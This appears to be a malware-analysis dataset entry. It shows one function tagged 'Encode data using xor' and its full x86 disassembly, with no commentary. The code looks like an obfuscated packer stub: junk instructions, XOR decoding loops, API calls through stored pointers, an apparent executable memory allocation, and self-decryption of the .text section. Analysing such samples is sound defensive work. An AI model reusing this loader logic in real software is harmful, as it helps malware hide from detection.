Function at 0xa789ac
Capabilities:
Encode data using xor

Disassembly:
pushal
mov esi, 0xd96f6720
mov eax, 0x1d806c1d
sub eax, esi
popal
mov eax, 0x61a03b15
mov esi, eax
not esi
mov esi, 0
mov ecx, edx
and eax, ebx
add ebx, 1
add ebx, 0x456ba06
mov edi, ecx
sub ebx, eax
mov eax, 0xd5570c3b
dec ebx
mov edx, edi
mov ebx, eax
dec ebx
and eax, ebx
inc esi
add ebx, eax
mov ebx, 0xac8c082
or ebx, eax
cmp esi, 0x1008351
jne 0xa789c8
and eax, ebx
sub eax, 1
and esi, eax
not eax
mov ebx, 0xa78796
not eax
sub esi, 0x1acb14f9
mov edi, 0xa7898a
mov esi, ecx
inc esi
mov edx, dword [ebx]
or esi, ecx
dec esi
sub ecx, esi
and edx, 0xff
sub esi, 0x36a6a9c6
add esi, 0xabfb0cb5
and ecx, eax
xor dword [edi], edx
add ecx, 0xa393852c
or eax, ecx
sub ecx, 0x6f108494
add edi, 1
mov ecx, eax
and esi, eax
sub eax, ecx
add ebx, 1
or esi, eax
sub esi, 0xcd158d89
cmp edi, entry0
jl 0xa78a20
mov ecx, eax
sub ecx, 0xf30e510e
mov ecx, 0x11ffdfec
dec ecx
mov ecx, 0xef3a4a85
mov eax, esi
and esi, ecx
inc edi
add ecx, esi
mov edx, 0xa7898e
not ebx
mov ebx, esi
mov edx, dword [edx]
and edi, edi
sub ebx, 0x8948a190
sub ebx, edi
mov edx, dword [edx]
not esi
add ecx, edi
push edx
mov esi, edi
mov esi, edi
mov edx, 0xa7898a
sub ecx, esi
or edi, edi
mov edx, dword [edx]
inc edi
sub ecx, 1
mov edx, dword [edx]
inc ebx
sub ecx, ebx
push 0xa78992
and esi, edi
and edi, ecx
and ebx, esi
call edx
add ecx, esi
mov esi, ebx
or edi, ebx
pop edx
inc ebx
sub edi, ebx
push 0xa7899f
add esi, 0xc33d683e
mov ebx, 0xd155840d
or edi, ebx
push eax
and esi, ebx
sub edi, 0x1ca9c553
sub esi, 1
call edx
sub ebx, 0xdff76571
inc ebx
not ebx
push 0x40
add esi, 0x8fae2322
add edi, 0xdafc4b46
and ecx, ecx
push 0x3000
mov ebx, ecx
mov ebx, 0xd406190c
and ecx, ecx
push 0x200002d7
sub edi, 0x731aad94
dec ebx
add esi, ebx
push 0
mov esi, 0x177570bd
mov ecx, ebx
add ecx, 0x56c34d00
call eax
mov edi, 0x5fe0ee27
sub ecx, esi
add eax, 0x2000021e
and edi, edi
or edi, esi
mov edx, 0xe3c0604c
sub ecx, 1
sub ecx, edi
mov dword [eax], edx
mov edi, 0x1fc696d7
inc ecx
inc ebx
mov edx, dword [eax]
inc esi
add edi, esi
mov edi, ecx
cmp edx, 0xe3c0604c
je 0xa78b85
mov ecx, 0
mov edx, dword [ecx]
or esi, edi
sub esi, 0x6450cd0e
sub edi, 1
not esi
or esi, esi
add esi, eax
mov esi, 0x5df592bd
mov esi, 0xc93e872a
mov ebx, section..text
inc esi
sub eax, 0x1b4a83d0
add eax, esi
mov edi, 0xa78795
add esi, 0xe233d26d
or eax, esi
or eax, esi
mov edx, 0
inc eax
mov esi, eax
add eax, 0xb8dc90cd
mov ecx, 0xa78796
sub esi, eax
add esi, 0x1432a24e
lea ecx, [edx + ecx]
mov esi, eax
inc eax
sub eax, esi
mov ecx, dword [ecx]
inc eax
and esi, esi
add esi, eax
and ecx, 0xff
not esi
and esi, esi
add edx, 1
add esi, esi
sub esi, eax
sub esi, 0x5eed081
cmp edx, 0x1f4
jne 0xa78c11
mov edx, 0
sub eax, 1
mov esi, 0xbf20b2d3
sub esi, 1
and eax, eax
add esi, 1
xor dword [ebx], ecx
mov eax, 0x7e0b5a1c
inc eax
dec eax
add ebx, 2
not eax
and eax, esi
cmp ebx, edi
jl 0xa78bce
sub esi, eax
and eax, eax
not eax
or eax, eax
sub eax, 0x82bcf2f0
mov eax, 0x2b5546e4
mov edi, section..text
sub eax, 1
mov eax, 0xe8de5c0b
sub ebx, 0xcf68d47f
mov edx, section..text
add eax, 0x56e12026
or ebx, eax
mov esi, 0xa78795
and eax, eax
sub eax, ebx
sub ebx, eax
mov ecx, 0
mov eax, 0xb71e43c5
mov ebx, eax
sub eax, ebx
mov cl, byte [edx]
sub ebx, eax
mov ebx, 0xd4ce7e92
add ebx, ebx
mov byte [edi], cl
add eax, ebx
or eax, eax
mov ebx, 0x2c4bab06
inc edi
or eax, eax
mov ebx, 0xb35b47e8
add edx, 2
mov eax, 0xd5f62677
not eax
add ebx, eax
cmp edx, esi
jle 0xa78c94
sub eax, ebx
or ebx, ebx
inc eax
mov eax, esi
sub esp, 4
mov dword [esp], 0x8dc6a0
add eax, 1
and eax, esi
and esi, eax
ret